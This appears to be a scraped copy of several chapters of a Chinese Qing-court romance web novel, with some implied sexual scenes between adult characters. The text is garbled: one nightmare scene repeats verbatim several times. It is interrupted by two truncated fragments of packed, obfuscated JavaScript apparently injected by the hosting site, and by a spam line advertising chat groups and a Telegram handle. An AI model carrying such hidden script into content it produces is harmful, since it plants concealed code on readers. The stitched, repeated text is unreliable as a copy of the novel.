赫舍里氏藏起发抖的手,低头温和道:“多谢姑娘。” 仪欣眼眶发红,喉咙里酸水往外冒,她很容易掉眼泪,怕自己哀伤的气息影响赫舍里氏,她强撑着弯了弯唇,道:“夫人尽管在这里住下,我…我…” “四福晋,八福晋…”赫舍里氏扶着药碗一饮而尽,强撑着轻叹一声,“妾身怕是马上要回去了,多谢二位福晋收留。” 姚虞沉默。 她清楚,纵使各府跟佟佳氏闹得厉害,也不会任由自家格格和离,只会把女儿妹妹接回来,然后,跟佟佳氏谈条件,大事化小,小事化了。 向来如此。 和离,哪里是这么简单的事? 仪欣:“回去?这还回去干什么?你安心在这里住着,本福晋的庄子,谁也不敢在这里造次。” 赫舍里氏温柔地笑,一直在哀伤落泪,她没有去管自己的眼泪,想撑着起身给仪欣和姚虞跪地行礼,轻声呢喃:“福晋真是菩萨心肠…” 姚虞和仪欣悄声离开,两人踱步在田间地头。 仪欣低着头轻声开口:“姚虞姐姐,前阵子我磋磨了李四儿,拿赫舍里氏拉踩李四儿,所以,她回府后才将赫舍里氏关到柴房磋磨。” 姚虞顿住,拉住她的手,笃定说:“坏人作恶不需要理由,我们救了她。” 仪欣垂了垂眼睛。 … 入夜。 意识翻滚,昏昏沉沉间被引到层层迷雾里,仪欣看见赫舍里氏血淋淋的模样,无助栖 息在一个痰盂里。 她的精神被狠狠抓了一把。 仪欣呜呜两声,发不出声音。 她挣扎着躲在树荫里,像是一只无措的小老鼠。 轰隆隆的雷鸣声将仪欣吓得惊醒,睡梦中懵懂里脑海闯入便是撕碎天地般的电闪雷鸣。 “啊…!王爷!” 哭腔未落,她的脑袋被按到一个宽阔温暖的胸膛上,胤禛紧紧抱着她,低头亲吻她的额头,安抚她。 “仪欣,本王在这里。”胤禛暗哑的声音在她的发顶轻哄,“只是打雷,仪欣是胆子很大的小孩子,对不对?” “王爷,我梦到赫舍里氏被做成…做成…” 仪欣牙齿打颤,她连说出那两个字的勇气都没有,抱着他的腰号啕大哭,一直喊王爷。 听到她无措的哭声,胤禛将她抱到自己身上,裹紧被衾,尽可能不让她露在外面。 “仪欣摸摸本王,是不是有哪里不舒服?” “梦都是假的,她在你的别院,安然无恙,本王也会保她安然无恙的。” 仪欣听得不清明,呜咽一声整个人都迷迷糊糊的好似飘在云端,她听不清王爷说什么话,大滴泪珠子顺着脸颊滚落,只剩喉咙里娇娇呜呜的哽咽哭泣。 “王爷…王爷…我要抱着…我要抱着…” “抱着呢,乖乖,嗯?感受一下,抱着呢。”胤禛单手抱紧她,另一只手将自己寝衣解落,暴躁扯下来扔到地上。 “没抱着。”仪欣还是哭,眼睛睁不开,泪珠衔在羽睫上。 “不要耍无赖,乖乖,抱得不能更紧了,睁开眼睛,睁开眼睛就不害怕了。”胤禛轻拍她的后背。 仪欣被唤回了神,睁开眼睛呜呜咽咽开口:“为什么王爷不抱着我,也不亲亲我呢?” 胤禛无奈叹口气,也松口气。 息在一个痰盂里。 她的精神被狠狠抓了一把。 仪欣呜呜两声,发不出声音。 她挣扎着躲在树荫里,像是一只无措的小老鼠。 轰隆隆的雷鸣声将仪欣吓得惊醒,睡梦中懵懂里脑海闯入便是撕碎天地般的电闪雷鸣。 “啊…!王爷!” 哭腔未落,她的脑袋被按到一个宽阔温暖的胸膛上,胤禛紧紧抱着她,低头亲吻她的额头,安抚她。 “仪欣,本王在这里。”胤禛暗哑的声音在她的发顶轻哄,“只是打雷,仪欣是胆子很大的小孩子,对不对?” “王爷,我梦到赫舍里氏被做成…做成…” 仪欣牙齿打颤,她连说出那两个字的勇气都没有,抱着他的腰号啕大哭,一直喊王爷。 听到她无措的哭声,胤禛将她抱到自己身上,裹紧被衾,尽可能不让她露在外面。 “仪欣摸摸本王,是不是有哪里不舒服?” “梦都是假的,她在你的别院,安然无恙,本王也会保她安然无恙的。” 仪欣听得不清明,呜咽一声整个人都迷迷糊糊的好似飘在云端,她听不清王爷说什么话,大滴泪珠子顺着脸颊滚落,只剩喉咙里娇娇呜呜的哽咽哭泣。 “王爷…王爷…我要抱着…我要抱着…” “抱着呢,乖乖,嗯?感受一下,抱着呢。”胤禛单手抱紧她,另一只手将自己寝衣解落,暴躁扯下来扔到地上。 “没抱着。”仪欣还是哭,眼睛睁不开,泪珠衔在羽睫上。 “不要耍无赖,乖乖,抱得不能更紧了,睁开眼睛,睁开眼睛就不害怕了。”胤禛轻拍她的后背。 仪欣被唤回了神,睁开眼睛呜呜咽咽开口:“为什么王爷不抱着我,也不亲亲我呢?” 胤禛无奈叹口气,也松口气。 息在一个痰盂里。 她的精神被狠狠抓了一把。 仪欣呜呜两声,发不出声音。 她挣扎着躲在树荫里,像是一只无措的小老鼠。 轰隆隆的雷鸣声将仪欣吓得惊醒,睡梦中懵懂里脑海闯入便是撕碎天地般的电闪雷鸣。 “啊…!王爷!” 哭腔未落,她的脑袋被按到一个宽阔温暖的胸膛上,胤禛紧紧抱着她,低头亲吻她的额头,安抚她。 “仪欣,本王在这里。”胤禛暗哑的声音在她的发顶轻哄,“只是打雷,仪欣是胆子很大的小孩子,对不对?” “王爷,我梦到赫舍里氏被做成…做成…” 仪欣牙齿打颤,她连说出那两个字的勇气都没有,抱着他的腰号啕大哭,一直喊王爷。 听到她无措的哭声,胤禛将她抱到自己身上,裹紧被衾,尽可能不让她露在外面。 “仪欣摸摸本王,是不是有哪里不舒服?” “梦都是假的,她在你的别院,安然无恙,本王也会保她安然无恙的。” 仪欣听得不清明,呜咽一声整个人都迷迷糊糊的好似飘在云端,她听不清王爷说什么话,大滴泪珠子顺着脸颊滚落,只剩喉咙里娇娇呜呜的哽咽哭泣。 “王爷…王爷…我要抱着…我要抱着…” “抱着呢,乖乖,嗯?感受一下,抱着呢。”胤禛单手抱紧她,另一只手将自己寝衣解落,暴躁扯下来扔到地上。 “没抱着。”仪欣还是哭,眼睛睁不开,泪珠衔在羽睫上。 “不要耍无赖,乖乖,抱得不能更紧了,睁开眼睛,睁开眼睛就不害怕了。”胤禛轻拍她的后背。 仪欣被唤回了神,睁开眼睛呜呜咽咽开口:“为什么王爷不抱着我,也不亲亲我呢?” 胤禛无奈叹口气,也松口气。 息在一个痰盂里。 她的精神被狠狠抓了一把。 仪欣呜呜两声,发不出声音。 她挣扎着躲在树荫里,像是一只无措的小老鼠。 轰隆隆的雷鸣声将仪欣吓得惊醒,睡梦中懵懂里脑海闯入便是撕碎天地般的电闪雷鸣。 “啊…!王爷!” 哭腔未落,她的脑袋被按到一个宽阔温暖的胸膛上,胤禛紧紧抱着她,低头亲吻她的额头,安抚她。 “仪欣,本王在这里。”胤禛暗哑的声音在她的发顶轻哄,“只是打雷,仪欣是胆子很大的小孩子,对不对?” “王爷,我梦到赫舍里氏被做成…做成…” 仪欣牙齿打颤,她连说出那两个字的勇气都没有,抱着他的腰号啕大哭,一直喊王爷。 听到她无措的哭声,胤禛将她抱到自己身上,裹紧被衾,尽可能不让她露在外面。 “仪欣摸摸本王,是不是有哪里不舒服?” “梦都是假的,她在你的别院,安然无恙,本王也会保她安然无恙的。” 仪欣听得不清明,呜咽一声整个人都迷迷糊糊的好似飘在云端,她听不清王爷说什么话,大滴泪珠子顺着脸颊滚落,只剩喉咙里娇娇呜呜的哽咽哭泣。 “王爷…王爷…我要抱着…我要抱着…” “抱着呢,乖乖,嗯?感受一下,抱着呢。”胤禛单手抱紧她,另一只手将自己寝衣解落,暴躁扯下来扔到地上。 “没抱着。”仪欣还是哭,眼睛睁不开,泪珠衔在羽睫上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仪欣呜呜两声,发不出声音。 她挣扎着躲在树荫里,像是一只无措的小老鼠。 轰隆隆的雷鸣声将仪欣吓得惊醒,睡梦中懵懂里脑海闯入便是撕碎天地般的电闪雷鸣。 “啊…!王爷!” 哭腔未落,她的脑袋被按到一个宽阔温暖的胸膛上,胤禛紧紧抱着她,低头亲吻她的额头,安抚她。 “仪欣,本王在这里。”胤禛暗哑的声音在她的发顶轻哄,“只是打雷,仪欣是胆子很大的小孩子,对不对?” “王爷,我梦到赫舍里氏被做成…做成…” 仪欣牙齿打颤,她连说出那两个字的勇气都没有,抱着他的腰号啕大哭,一直喊王爷。 听到她无措的哭声,胤禛将她抱到自己身上,裹紧被衾,尽可能不让她露在外面。 “仪欣摸摸本王,是不是有哪里不舒服?” “梦都是假的,她在你的别院,安然无恙,本王也会保她安然无恙的。” 仪欣听得不清明,呜咽一声整个人都迷迷糊糊的好似飘在云端,她听不清王爷说什么话,大滴泪珠子顺着脸颊滚落,只剩喉咙里娇娇呜呜的哽咽哭泣。 “王爷…王爷…我要抱着…我要抱着…” “抱着呢,乖乖,嗯?感受一下,抱着呢。”胤禛单手抱紧她,另一只手将自己寝衣解落,暴躁扯下来扔到地上。 “没抱着。”仪欣还是哭,眼睛睁不开,泪珠衔在羽睫上。 “不要耍无赖,乖乖,抱得不能更紧了,睁开眼睛,睁开眼睛就不害怕了。”胤禛轻拍她的后背。 仪欣被唤回了神,睁开眼睛呜呜咽咽开口:“为什么王爷不抱着我,也不亲亲我呢?” 胤禛无奈叹口气,也松口气。 息在一个痰盂里。 她的精神被狠狠抓了一把。 仪欣呜呜两声,发不出声音。 她挣扎着躲在树荫里,像是一只无措的小老鼠。 轰隆隆的雷鸣声将仪欣吓得惊醒,睡梦中懵懂里脑海闯入便是撕碎天地般的电闪雷鸣。 “啊…!王爷!” 哭腔未落,她的脑袋被按到一个宽阔温暖的胸膛上,胤禛紧紧抱着她,低头亲吻她的额头,安抚她。 “仪欣,本王在这里。”胤禛暗哑的声音在她的发顶轻哄,“只是打雷,仪欣是胆子很大的小孩子,对不对?” “王爷,我梦到赫舍里氏被做成…做成…” 仪欣牙齿打颤,她连说出那两个字的勇气都没有,抱着他的腰号啕大哭,一直喊王爷。 听到她无措的哭声,胤禛将她抱到自己身上,裹紧被衾,尽可能不让她露在外面。 “仪欣摸摸本王,是不是有哪里不舒服?” “梦都是假的,她在你的别院,安然无恙,本王也会保她安然无恙的。” 仪欣听得不清明,呜咽一声整个人都迷迷糊糊的好似飘在云端,她听不清王爷说什么话,大滴泪珠子顺着脸颊滚落,只剩喉咙里娇娇呜呜的哽咽哭泣。 “王爷…王爷…我要抱着…我要抱着…” “抱着呢,乖乖,嗯?感受一下,抱着呢。”胤禛单手抱紧她,另一只手将自己寝衣解落,暴躁扯下来扔到地上。 “没抱着。”仪欣还是哭,眼睛睁不开,泪珠衔在羽睫上。 “不要耍无赖,乖乖,抱得不能更紧了,睁开眼睛,睁开眼睛就不害怕了。”胤禛轻拍她的后背。 仪欣被唤回了神,睁开眼睛呜呜咽咽开口:“为什么王爷不抱着我,也不亲亲我呢?” 胤禛无奈叹口气,也松口气。 第122章他不温柔 容不得胤禛松口气,仪欣反应片刻又开始啪嗒啪嗒掉眼泪,吭叽着小声哭。 “王爷…王爷…” “仪欣,仪欣,曲阜那边的事怎么样了?”胤禛一声声转移她的注意力。 仪欣听不进去,还是哭。 “给小仪欣念话本,或者坐起来陪本王吃点东西,可以吗?” “我不要我不要…” 外面的雷声仍是呼呼作响,仪欣抖得厉害,被眼泪呛得直咳嗽,手脚都是冰凉的,胤禛捂住她的耳朵,思忖一下,低头便堵住了她的唇。 “不哭了,过来,摸摸我。” 仪欣挣扎着摇摇头,却不由自主摸到他的腰腹,还揉了一把。 胤禛无奈抿唇,她害怕,怎么非要这种方式来安抚呢? 没有犹豫,他把人薅到怀里,颇为强势亲吻她的脖颈。 他的气息强势包裹她,窸窸窣窣留下他不温柔的痕迹,一点点让她回神。 “王爷,我要,我害怕。”仪欣哭声变了音调。 “好,给,别哭了,”胤禛亲吻她,“乖乖,回神了。” 仪欣呜呜咽咽趴在他的胸膛,胤禛闷吭一声,还是没有躲开,掐着她的后颈,不紧不慢捏着。 胤禛的气息很强势,木质的松香混杂着佛堂里的香火气,他控制力道掐着她的后颈,低声道:“没事了。” “唔…王爷…有好多血…” “哪里有好多血?”胤禛搂紧她,给她疼痛感。 “梦…梦里…” “小乖,看着我。” 胤禛闻言,随意将缠绕在手指上的青丝褪下去,捏着她的下巴与她对视。 仪欣愣一下,猝不及防闯到他的眼睛里。 胤禛垂了垂眼,又重新缓缓抬起来,他的眼睛漂亮极了,和其他地方的漂亮不同,觉得一个人眼睛漂亮的时候,觉得对方的灵魂也要漂亮坏了,眼睛此时变成了装载灵魂,情感,思考的器皿。 仪欣轻轻一颤,委屈巴巴搂住他的脖颈,莫名其妙镇定下来。 胤禛又问了一遍:“哪里有好多血?” 仪欣亲上他的唇角,鼓起勇气放声说:“没有。” 胤禛弯了弯眼睛,奖励般亲吻她的脑袋,“你最聪明 你的朋友正在书荒,快去帮帮他吧 。 仪欣细细喘着气,委屈说:“可是我还是睡不着,我还是害怕,万一梦里的是真的怎么办? 她极少钻牛角尖,但是钻进去就出不来。 胤禛眸色微浅,眉眼间透着几分柔和,却不紧不慢…。 仪欣眼睛蓦地睁大,湿红眼角扑扑簌簌滚出泪珠,想考虑乱七八糟的血腥事,都没有任何机会。 “没事,马上就能睡着了。 “王爷,别这样,我又想哭。仪欣茫然抓着他的手臂。 “嗯,现在可以哭。胤禛垂眼,看着她要哭不哭的表情,一边继续一边低低笑,“大声哭,乖乖… 太恶劣了。 刚哄好的人。 又亲自哄着哭出来。 仪欣茫然唤他的名字,软绵绵的手攀着他的肩膀,她不知道王爷怎么根本不温柔。 胤禛抱着她站起来,在寝殿踱步,温柔问:“这样喜欢吗? 仪欣哭得梨花带雨,哭喊道,“王爷,救命…! “比做噩梦还可怕吗?做噩梦还没喊救命呢。胤禛单手抱着她感受她的攀附,将她放在桌案上,恶劣揉了揉她的腰/窝。 “再说一遍,喜不喜欢? 胤禛带着薄茧的长指摩挲着仪欣柔软的指腹,仪欣感觉那轻轻的安抚好像要蹭到心里去,心头一片热烫。 “喜欢…仪欣咬着唇委屈的不得了,声音轻轻小小的,软哝哝透着十足的可怜。 啊,喜欢什么?为什么要欺负她? 王爷为什么变得不温柔了? 仪欣满脑子都在思考这个问题,连什么时候睡过去的都不清楚。 一夜无梦,仪欣暖烘烘睡到日上三竿,温馨缩成一团窝在胤禛怀里。 仪欣懵懵然坐起来,爬到胤禛身上,想起来他昨夜太过分了,又气愤爬下去,胤禛眯着眼捉住她的脚踝,声音暗哑低沉问:“爬下去干什么? “为什么王爷昨晚不抱着我?也不亲亲我?我都吓坏了。仪欣垂眸抱怨。 胤禛沉默,掐着她的下巴,摆正她的脑袋,轻捻自己胸膛上微微疼的地方,“嗯,没抱着,狗咬的。 “王爷,你好凶。仪欣咣叽一下趴到他肩膀。 昨晚好凶。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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仪欣握着鱼竿一抖,惊诧问:“你怎么知道?” 姚虞耸耸肩,这有什么难猜的,平日里恨不得跟在她家王爷后面当小跟班,今日也不急着回去了。 仪欣拉了拉姚虞的衣袖,撒娇说:“我今晚想跟姐姐睡,可以吗?” 姚虞跃跃欲试,抚掌道:“行啊!” 第123章王爷,我还想听你背离骚 别庄,书房。 谋士一致觉得今晚王爷似乎有些不虞,想来是为隆科多之事。 “王爷,改玉牒,孝昭皇后之事?”一名谋士说话略显磕绊,谁也没想到还会跟钮祜禄氏起了牵扯。 胤禛不耐烦抬头,冷声问:“看不清朝堂形势,本王要你有何用?老十为什么不能继位,很难想明白吗?本王要钮祜禄氏有何用?” “是是是。” 谋士嘴里泛苦,他也是担忧王爷贪恋钮祜禄氏的势力,误入歧途罢了。 邬思道含笑安抚说:“王爷自是有分寸。十爷不能继位,自是因为万岁爷防备钮祜禄氏干政。” 老十血统纯正不假,可钮祜禄氏和爱新觉罗氏一同入关,先祖都是努尔哈赤,康熙不会任由钮祜禄氏嫡支的皇子继承大统。 康熙想到孝昭皇后,是因为他没把胤禛当继承人看待。 但是,胤禛不会做贪多嚼不烂的事情。 胤禛摆摆手,让他们都退下。 待到书房内空无一人,夏刈悄声进来,恭敬说:“王爷,隆科多想私下拜访您。” 胤禛随意捻了捻佛珠,淡淡道,“不见。” “把佟国维生前那些脏东西,私下呈给皇阿玛,朝堂上,继续派人弹劾佟佳氏。”胤禛不客气扫一眼夏刈,“事情做干净点,别让本王生气。” “是。”夏刈应声。 经他手做得所有事,都跟王爷扯不上任何关系。 “叫小良子进来。”胤禛沉声吩咐。 小良子不似伺候仪欣时那副谄媚模样,大步走进书房,身姿挺拔,撩袍跪地行礼。 “奴才给王爷请安。” “她今日见赫舍里氏,可有畏惧吗?” “宋太医诊断,福晋一切向好。”小良子回复,“福晋不见提起梦魇之事,反而与八福晋谈笑风生。” 胤禛不紧不慢揉了揉额角,她能去见赫舍里氏,就是真的不怕了,也不枉他今晨故意惹她恼。 小良子吞吞吐吐禀告:“王爷,这个时辰…这个时辰福晋在八福晋那里歇下了。” 胤禛慢慢抬起头。 恰逢此时,苏培盛面露难色看着乌漆嘛黑的天色,哈腰进来禀告:“王爷,八爷来访。” * 仪欣和姚虞在榻上盘着腿对坐着边下棋边叙话。 姚虞说话很敞亮,又大胆风趣,从前仪欣年纪轻不能出府时,听姚虞讲八卦是最高兴的事情。 “可以啊!”姚虞看着棋局,惊叹思索。 仪欣弯了弯眼睛,无意识模仿胤禛的习惯,捻了捻手中富余的三枚棋子。 “姚虞姐姐承让啦。”仪欣欢快拾棋子,准备再玩一局。 姚虞揶揄问:“若是四爷这时候来接你,你回不回去?” 仪欣斩钉截铁:“当然不回。” 话音未落,晴云轻声走进来,道:“福晋,王爷和八爷来了。” 仪欣:…… 姚虞:…… 胤禛和胤禩长身玉立,并肩站在榕树下,胤禛左臂搭着披风,右手提着小橘灯;胤禩提着一包荷香鸡。 两个人也不寒暄,就静静等着自己的福晋出来。 见仪欣出来,胤禛将小橘灯递给苏培盛,给仪欣披上披风。 仪欣牵着胤禛的手,认真说:“王爷,我今天生气了。” “嗯,知道,回去哄。”胤禛搂住仪欣的腰肢,扭头对姚虞点头示意,接过小橘灯,带着仪欣离开。 姚虞和胤禩看得目瞪口呆。 竟然这么简单?所以,闹别扭,就这么简单吗? 两个人别扭对视一眼,不由自主同时避开对方的目光。 胤禩主动将带来的荷香鸡递给姚虞,轻轻拉住她的手,小声说:“姚虞,你爱吃的。” “大晚上的,贝勒爷怎么来了?”姚虞转身往内室走,“不用怕我离开,我过几天就回去。” 胤禩咬了咬舌尖,跟在姚虞身后进到内室,“不是,我…我只是想你。” “没有你的床榻。” “嗯,我看着你吃完,就去四哥那里讨个住处。”胤禩大言不惭点点头,坐在软榻上,主动整理刚刚仪欣和姚虞棋盘的残局。 他苦笑,姚虞好难追。 从前他被姚虞追求的时候,还是…很容易的,很容易就被她莫名其妙抱住了腰,很容易就牵手了,很容易就被她约出来一起用膳。 姚虞:“……” 若是深更半夜让胤禩去雍亲王别院讨住处,她真是没办法见人了。 “你,住这吧,可以挤挤。” “欸!”胤禩弯唇,示意贴身太监将换洗衣裳挂在梨花架上,他垂眸打开荷香鸡,“你尝尝,好不好吃。” 姚虞抿唇看着卖相不一般的荷香鸡,无语抬眸:“这是哪里卖的?还是府上做的?” “春意楼。” “找他赔钱,太丑了,吃不下去。”姚虞翻个白眼,她对什么东西都颜控,要不然也不能色迷心窍,一见钟情看上胤禩。 胤禩沉默一会,给她撕了个鸡腿递过去,“我做的,你尝尝。” 姚虞:“……?” * “王爷,我今晚要吃鸡汤面。” “可以的。” “王爷,我还想听你背离骚。” 胤禛笑着睨她一眼,视线划过她毛茸茸的脑袋,看到她气鼓鼓的腮帮子,“行啊。” 仪欣提着小橘灯,眼眸微转,故意说:“王爷,我现在有点想骑马,我想珍珍。” “富察仪欣…”胤禛气笑,她就是故意折腾他,他指腹捻了捻仪欣的耳垂,轻轻捏着她的耳朵,俯身凑近说,“今晚仪欣可以骑本王。” 仪欣大惊:!!! 这话正经吗? 胤禛勾唇闷闷笑。 仪欣和胤禛用完一碗鸡汤面,万籁俱寂,两人窝在床榻上,胤禛正式准备哄人,他捏了捏鼻梁骨,温声问:“离骚从哪里开始背?” 仪欣轻哼,往床榻深处挪了挪,总归是不让他抱着,“从头背,王爷不会背不过吧。” “那不至于。”胤禛轻笑。 清清喉咙开始背,他背得很流畅,跟拿着书读没什么区别,一刻钟就背完了,得意弯唇,“好了,仪欣,原谅我吧。” 仪欣抱怨他记性太好,威胁他要把好记性分给自己一半,口嫌体正直般蹭到他怀里,她有点想要抱抱。 “好,分给你一半。” 胤禛抱着她亲了又亲,好乖啊,生气也不会提过分的要求,她真好。 仪欣憨笑,小猫似的轻拱他的颈窝,眯着眼恹恹打个哈欠,胳膊缠着胤禛的手臂,“王爷,我还想听你唱昆曲。” 第124章昆曲思凡 胤禛闭了闭眼,他觉得应该是他听错了。 仪欣以为他没听见,又撒娇重复一遍:“王爷给我唱昆曲哄睡吧。 胤禛:“……” 谁给谁?唱什么?谁最听话最好哄? 胤禛没有犹豫,直接拒绝,“本王不会。” 某人口头说着不会,脑海里已经在回忆昆曲唱词了,他清楚,只要不是伤害她身体的事情,他都可以顺着她。 仪欣盈盈眼眸透着委屈巴巴的妩媚,面若桃花,手指勾着胤禛的寝衣衣袖。 “可是王爷昨晚就是在凶我,然后今晨也冷落我,我昨夜一个人孤孤单单做噩梦,醒来让王爷凶一顿,只是想听个昆曲而已。” 胤禛:“……” 一些事情经她复述,怎么格外让人心疼呢? “求求你,好不好?”仪欣期待看着他,恩威并施,声音轻柔娇憨,嘤咛着摇晃他的胳膊。 胤禛闭上眼睛,他裹了裹自己的被衾,扭头冲着外侧,闷闷开口:“只能点一出熟悉的。” 仪欣弯了弯眼睛,有恃无恐摘掉胤禛腕间的佛珠,戴到自己手腕上晃了晃,“想听思凡。” 思凡。 扯了他的佛珠,让他给她唱小尼姑还俗的故事。 胤禛:“富察仪欣,你自己乖乖躺着睡,只有一小段。” 仪欣美滋滋躺在他的身后,一小段也行哇。 胤禛眯着眼喉结轻滚,温柔转过身把她搂到怀里,偏头凑在她的耳旁,轻轻哼唱出清润的曲调。 他的声音低沉而温润,骨节分明的手在她的脊背轻拍,别有一番滋味。 “奴把袈裟扯破, 埋了藏经,弃了木鱼,丢了铙钹。” “……” “夜深沉,独自卧, 起来时,独自坐。” “………” “削发为尼实可怜,禅灯一盏伴奴眠。” “光阴易过催人老,辜负青春美少年。” 月光透过床幔的缝隙落在男人的眉眼上,仪欣凑近些,羽睫轻轻扫过他高挺的鼻梁,心满意足轻吻他的唇。 凑在他的唇边没有离开,仪欣睡着了,嗫嚅着时不时动一下,好似小鲤鱼在吐泡泡。 胤禛缓缓睁开眼睛。 小混蛋。 把他当戏子使唤,还不给打赏。 她打赏男伶人时,不是很大方吗? * 墙倒众人推,不论是关于党争,还是揣摩康熙心思,佟佳氏一族如今都是人人喊打。 朝堂上不缺官员,一个萝卜一个坑,佟佳氏空出来的位置,有人迅速顶上,便很难再让出来。 隆科多焦躁难捱,他多次求见雍亲王,却总是不得见。 他不想做佟佳氏的罪人,如今最好的解决面前困局的办法便是——四皇子胤禛改玉牒。 另外便是将赫舍里氏接回佟佳府。 胤禛觉得还不够,他不会接这个橄榄枝。 向荣院。 隆科多嫡子岳兴阿守在赫舍里氏床头,低着头跟赫舍里氏叙话。 赫舍里氏温柔摸了摸他的脑袋,“哭什么?” 岳兴阿将头低的更低。 他只在向荣院待了一个时辰,便离开。 李四儿在府中极其强势,磋磨赫舍里氏,以正室身份自居,隆科多亦是助纣为虐黑白不分,连赫舍里氏唯一的儿子岳兴阿也遭受排挤,岳兴阿在去年便离府别居。 这段时日,向荣院的拜访者络绎不绝。 隆科多如今禁足在府中,倒是佟老夫人赫舍里氏和赫舍里氏的额娘一同来劝说赫舍里氏回府。 隆科多的额娘是赫舍里氏的亲姑母。 可是,侄女哪有亲儿子重要呢? 多么荒唐又合理。 门庭若市,一波波的人来了又走,仪欣和姚虞从不露面,但是那些人如何劝说赫舍里氏回府的说辞,都会递一份到她们面前。 明月西沉,仪欣和姚虞沉默坐在花厅里。 隆科多还是给出了让赫舍里氏心动的条件。 只要赫舍里氏回府,她的儿子岳兴阿会受到佟佳氏全族的托举。 赫舍里氏是没想过和离的,她没有退路,从前因为隆科多和她阿玛的妾室李四儿私通珠胎暗结的事情,牵连赫舍里氏与其母族断交。 赫舍里氏并不是强硬的人,相反,她性格很软弱,能离开佟佳府住到向荣院养病已是最大突破。 她终究是要回去的。 姚虞很是沉默,她没有立场劝赫舍里氏和离,只是,若是赫舍里氏有和离的念头,姚虞会用尽所有人脉去助她达成目的,可是,她没有。 “姚虞姐姐,我们…怎么办呢?”仪欣轻声问,“我就是很不理解,隆科多本来就对岳兴阿很不好,如今空口白牙的承诺,赫舍里氏还是愿意回去,谁知道隆科多会不会反悔。” 姚虞轻笑,又叹口气:“为了孩子,赫舍里氏只能试一试。” 仪欣一拍桌案,原地转了两圈,“可是,隆科多就是个坏人,李四儿如今被皇阿玛关押在天牢,没有李四儿,还会有别人。她回去很容易,可是再遇上这种事情,要出来,就是难上加难。” 次日清晨。 赫舍里氏庄重同仪欣和姚虞辞行。 隆科多给了她想要的条件,世界微尘里,吾宁爱与憎,她的爱恨有什么重要的呢?如何都比不过她儿子的前途。 姚虞没有阻拦。 仪欣有心说几句话,却看到姚虞的眼色,也只是祝福赫舍里氏能得偿所愿。 … 姚虞心情并不是很好,在她看来,赫舍里氏的选择是一场宿命,世俗的压榨,母族的漠视,佟佳氏的求和,赫舍里氏没有更好的路。 但是,她也可以肯定,对赫舍里氏而言,佟佳氏这条路,绝非康庄大道。 仪欣笑盈盈转移话题,轻声问:“姚虞姐姐午膳想用什么?” 姚虞重重吐出一口浊气,额头还是有些疼,不由得揉了揉额角,“没什么胃口。” “天大地大,吃饭最大,总不能为了隆科多后宅那点事废寝忘食吗?”仪欣嗔怪。 “仪欣,这真的是个太好的机会了,佟佳氏的事情闹得这么大,李四儿被皇阿玛亲自下旨关押,赫舍里氏若是都不能和离,我不敢想。” 仪欣言笑晏晏戳戳姚虞手指,故意开玩笑提起自己,“看到隆科多的额娘来劝说赫舍里氏回府,我真是觉得很唏嘘,从前额娘还想让我嫁给我的表哥呢,说什么嫁回钮祜禄氏不受欺负。” 姚虞刚想接话茬,看到花厅门处并肩站立的两个男人,她瞳孔微微紧缩,拽了拽仪欣的袖口。 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第125章表哥 仪欣茫然抬头,看到胤禛和胤禩站在门口,两个男人面色均是极度难看。 两个人不知从哪里开始听的,总之,胤禛听到什么表哥,面沉如水,周身气息寡淡里带着压迫。 胤禩则是听到和离,已经开始湿漉漉看着姚虞了。 仪欣没有觉察,起身迎上来拉着胤禛的手,往花厅走,纳闷问:“王爷怎么不高兴?难道是马铃薯又**吗?” “没有。”胤禛淡声道,“在聊什么?” 仪欣弯唇道,“在跟姚虞姐姐商量午膳吃什么?” 胤禛眼中晦暗不明,勾唇笑着轻轻“嗯”一声。 “所以,王爷想吃什么?”仪欣欢快问。 姚虞眼前一黑,不知怎么提醒,胤禩主动上前拉住姚虞的手,无声与她十指紧扣。 午膳是鹿肉锅子。 仪欣想下午去骑马,姚虞欣然同意,她骑术很好,胤禛和胤禩自然是跟随。 姚虞看着雍亲王不动声色的模样,有些怀疑自己的观察,难不成雍亲王并未听见? 仪欣牵着她的珍珍和禛禛,觉得心旷神怡,一路上一直在叽叽喳喳和胤禛说话,胤禛每句话都会温和回应她。 姚虞放下心来,她骑术很好,又不愿跟胤禩并肩溜达,翻身上马,在别庄后山策马扬鞭。 胤禩打声招呼,策马跟在姚虞身后。 仪欣见他们离开了,拉了拉胤禛的佛珠,眼睛亮晶晶看着胤禛。 她上马的动作不太体面,不好意思在姚虞和八爷面前班门弄斧。 胤禛垂眸,大手掐着她的腰肢将人托上帝江,翻身自己也上马把她圈到怀里。 “王爷,我可以自己骑马的。” “跟我同乘一骑,”胤禛低头轻轻嗅了嗅她的气味,扬鞭催马跑起来,“抱紧我,仪欣。” 帝江身材高大,线条流畅,跑起来风驰电掣,仪欣紧张兮兮攥着胤禛的佛珠,一只手握着缰绳,放轻呼吸。 “害怕吗?”胤禛垂眸问。 “不害怕,你在这里,我就不害怕。”仪欣放声道,大着胆子加紧马腹。 胤禛沉默一会儿,温声问:“陪你玩一会,晚上本王去处理点事情,可能回来的很晚,可以吗?” 仪欣沮丧“啊”一声,又 轻轻应和一句“好”。 入夜。 胤禛一袭黑衣**袍,眉骨优越,黑暗勾勒着他的眉眼,在京城内私宅里慢条斯理煮茶。 万籁俱寂,没有点烛火,夏刈静静站在黑暗的角落里。 吱呀一声,房门轻轻打开,溢出一缕月色,苏培盛恭敬弯着腰引着阿灵阿入内。 “微臣给王爷请安。”阿灵阿拱手道,他最近一直想和四爷见一面,没想到竟是今日,还约到这个时辰。 胤禛不知在哪里划亮火折子,漫不经心点亮一盏烛火,轻声道:“阿灵阿大人,坐。” 阿灵阿谨慎坐下,余光审视着身边的男人。 纳兰明珠临死给万岁爷的几个儿子一字定语: 大阿哥一直;太子爷一善;八阿哥一贤。唯独四阿哥他不是不评论,是看不懂,假以时日万岁爷会给四爷来个一字定语。 